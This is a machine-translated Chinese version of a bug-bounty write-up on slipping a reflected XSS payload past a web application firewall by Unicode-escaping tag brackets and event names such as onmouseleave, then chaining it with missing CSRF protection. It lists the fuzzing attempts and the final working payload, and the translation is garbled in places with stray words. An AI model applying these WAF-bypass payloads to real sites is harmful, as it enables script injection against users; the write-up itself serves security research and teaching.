嗨,讀者們
經過標題,您可能會知道這是有關使用UNICODE進行 XSS WAF繞過的文章。所以,讓咱們對我正在測試的應用程序有個小想法。有一個名爲「稍後保存」 的選項,該選項可將您的賬戶中的項目保存起來以備後用。該請求看起來像:
若是對用戶進行了正確的身份驗證,則此發佈請求會將項目保存在用戶賬戶中,以供之後使用;若是對用戶進行了不正確的身份驗證,則該請求僅會返回一些值。所以,我在參數上手動進行模糊處理,而且注意到傳遞的參數值在響應主體中獲得反映,而在通過身份驗證和未經身份驗證的場景中都沒有適當的轉義。我發送的請求的參數值 :「 xss \」> <」,
響應爲:html
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>"data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"> <" data-quantity="1" data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart </a>
咱們輸入的值在<a>標記內,因爲引號和小於/大於-符號未正確過濾,所以咱們能夠跳出來。所以,我認爲我有不少方法能夠在這裏進行XSS,直到我輸入:「 xss \」 onclick = \「 alert(1)」而且響應爲:
所以,存在WAF。爲了繞開它,我開始模糊測試,結果是:dom
「 channel」:「 xss \」 onclick = \「 alert(1)」 ==> WAF 「 channel」:「 xss \」 xss = \「 alert(1)」 ==> WAF 「 channel」:「 xss \」 onclick = \「 alert(1)」 ==> WAF 「 channel」:「 xss \」 xss = \「 xxx(1)」 ==>沒有WAF
所以,我嘗試建立一個標籤,而不是在<a>標籤中添加事件屬性,而後輸入:「 xss \」> <xss> test」,響應爲:
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>"
data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"
data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至購物車
</a>
所以,它也刪除了看起來像tag的上下文。所以,咱們沒有建立標籤的優點。所以,咱們惟一的方法是繞過WAF 在<a>標記中使用事件屬性。所以,我嘗試經過fuzzdb使用html-event-attributes.txt 進行暴力破解,以查看是否沒有任何事件被WAF阻止而且沒有獲得任何有趣的結果。而後我對unicode進行了編碼,並輸入了一個隨機unicode來查看它是否在響應中進行解碼,而後將其解碼爲原始字符的bingo。因此如今我再次開始使用unicode + events,結果是:xss
「 xss \」 \ u003E \ u003Cxss \ u003Etest「 ==> data-channel =」 xss「> <xss> test」 「 xss \」 xss = \「 co \ u006efirm(domain)」 ==>沒有WAF 「 xss \」 onc \ u006Cick = \「 co \ u006efirm(domain)」 ==> HTTP / 1.1 403禁止
所以,咱們在這裏有了新的利用方式,也有了新的問題。
優勢是咱們如今可使用unicode建立HTML標籤。
甚至在使用unicode後,咱們添加onc \ u006Cick事件也會收到一個新的錯誤HTTP / 1.1 403 Forbidden。
所以,我再次從html-event-attributes.txt + Unicode製做了一個單詞表,並獲得了onmous \ u0045leave和ond \ u0072ag事件,返回了HTTP / 1.1 200 OK,咱們還能夠建立HTML標籤。因此我作了最後的有效載荷:-xss \「 \ u003E \ u003Ch1 onmous \ u0045leave = co \ u006efirm(domain)\ u003ECme \ u003C / h1 \ u003E \ u003Cbr \ u003E \ u003C!-
響應主體是:ide
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1" data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至購物車 </a>
將鼠標指針放在come to me,而後移開
如今,由於這是一個POST請求,而且沒有CSRF保護,因此我將CSRF + XSS = P2已存儲的XSS連接到已認證的用戶。
謝謝閱讀 。學習
翻譯自medium.com
免責申明:本文由互聯網整理翻譯而來,僅供我的學習參考,若有侵權,請聯繫咱們,告知刪除。測試